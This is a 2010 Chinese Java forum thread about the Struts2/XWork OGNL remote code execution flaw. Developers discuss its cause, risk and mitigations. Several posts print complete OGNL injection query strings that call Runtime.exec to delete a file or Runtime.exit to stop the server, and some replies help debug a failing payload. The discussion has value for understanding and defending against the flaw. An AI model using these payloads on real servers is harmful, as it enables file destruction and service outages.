论坛首页 Java企业应用论坛

Struts2/XWork 安全漏洞及解决办法

浏览 68946 次
该帖已经被评为精华帖
作者 正文
   发表时间:2010-07-26  
wuyakenihao 写道
davepkxxx 写道
很好,这个BUG果然牛,我直接把我们的网站干掉了,这回要考虑一下了



我刚刚试了试,还是不行。我的strut2的版本2.1.6


?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exec('cmd  /c  del  d:/12.txt')')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1   我这个哪里写错了吗?

你在命令行里输入:del  d:/12.txt 这个试试管用吗?
呵呵,你写错了,应该是 del  d:\12.txt
0 请登录后投票
   发表时间:2010-07-26  
我们的项目没有使用struts,但是用了OGNL,测试了一下,拦住了.....
用的是ognl-2.6.9.jar
0 请登录后投票
   发表时间:2010-07-26  
downpour 写道
my_corner 写道
downpour 写道
Struts2/XWork一直将OGNL作为其依赖的表达式语言,这一点是造成这一漏洞的根源。OGNL是强大的,不过强大就要付出代价。

从这个漏洞本身来说,我们只需要在小范围内引起警惕就行,尤其是针对互联网应用,对于企业内部应用,事实上也没什么必要多花功夫。

我比较期待的,是某一天Struts2的开发者不再使用OGNL,而是自己开发一套表达式语言,这样的问题就不复存在了。

OGNL表达式(Object GraphicNavigation Language对象图导航语言),其实OGNL表达式并非是只是用于Struts2在页面上标签取值的工具。它贯穿了struts2/xwork的整个体系,在Struts 2框架中,值栈(Value Stack)就是OGNL的根对象,Struts 2中的OGNL Context是ActionContext。只要是request之间传递参数就会用到OGNL,所以并非老兄说的小范围。


你对小范围的理解错了。

我对小范围的定义是,如果Struts2被用于互联网应用,那么我们对此类漏洞需要警惕。对于一些企业内部的应用,由于使用者多数是成熟的客户,我们可以放松一些。受到攻击的可能性也很小。

有时候得了利就要付出代价,OGNL是强大的,于是我们就要付出代价。

恩,明白了。企业应用开放的范围小,面临这种风险的可能性就小。互联网应用就不同了,安全问题不可忽视。
0 请登录后投票
   发表时间:2010-07-26  
davepkxxx 写道
很好,这个BUG果然牛,我直接把我们的网站干掉了,这回要考虑一下了

晕,平时多点防范意识吧
0 请登录后投票
   发表时间:2010-07-26  
jnduan 写道
WebWork用户表示配置拦截器不起作用。看来必须手工给src打patch然后自己编译一个xwork了。

webwork我没试过,我只试了struts2
0 请登录后投票
   发表时间:2010-07-26  
east_java 写道
我网站首页图片被删光了~~~~

汗……抓紧补救吧
0 请登录后投票
   发表时间:2010-07-26  
sdh5724 写道
这个BUG发布当日, 几家大公司无一幸免。 类似漏洞的研究, 我们进行了很长时间。 实际上, apache上做点虚拟补丁技术, 能提高网站的可靠性。

虚拟补丁?请不吝赐教
0 请登录后投票
   发表时间:2010-07-26  
my_corner 写道
wuyakenihao 写道
davepkxxx 写道
很好,这个BUG果然牛,我直接把我们的网站干掉了,这回要考虑一下了



我刚刚试了试,还是不行。我的strut2的版本2.1.6


?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exec('cmd  /c  del  d:/12.txt')')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1   我这个哪里写错了吗?

你在命令行里输入:del  d:/12.txt 这个试试管用吗?
呵呵,你写错了,应该是 del  d:\12.txt



我修改了还是不行

http://192.168.1.112:8080/system/login.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exec("cmd  /c  del  D:\\12.txt")')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1  

是不是我在STRUTS2过滤器的前面。加了个字符串编码过滤。是不是这个问题导致的。我的始终不会成功。

0 请登录后投票
   发表时间:2010-07-26  
谢谢指点,确实很夸张的漏洞
0 请登录后投票
   发表时间:2010-07-26  
wuyakenihao 写道
davepkxxx 写道
很好,这个BUG果然牛,我直接把我们的网站干掉了,这回要考虑一下了



我刚刚试了试,还是不行。我的strut2的版本2.1.6


?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exec('cmd  /c  del  d:/12.txt')')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1   我这个哪里写错了吗?


这一段是请求要跟在请求后面,比如:
http://www.xxx.com/login.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
0 请登录后投票
论坛首页 Java企业应用版

跳转论坛:
Global site tag (gtag.js) - Google Analytics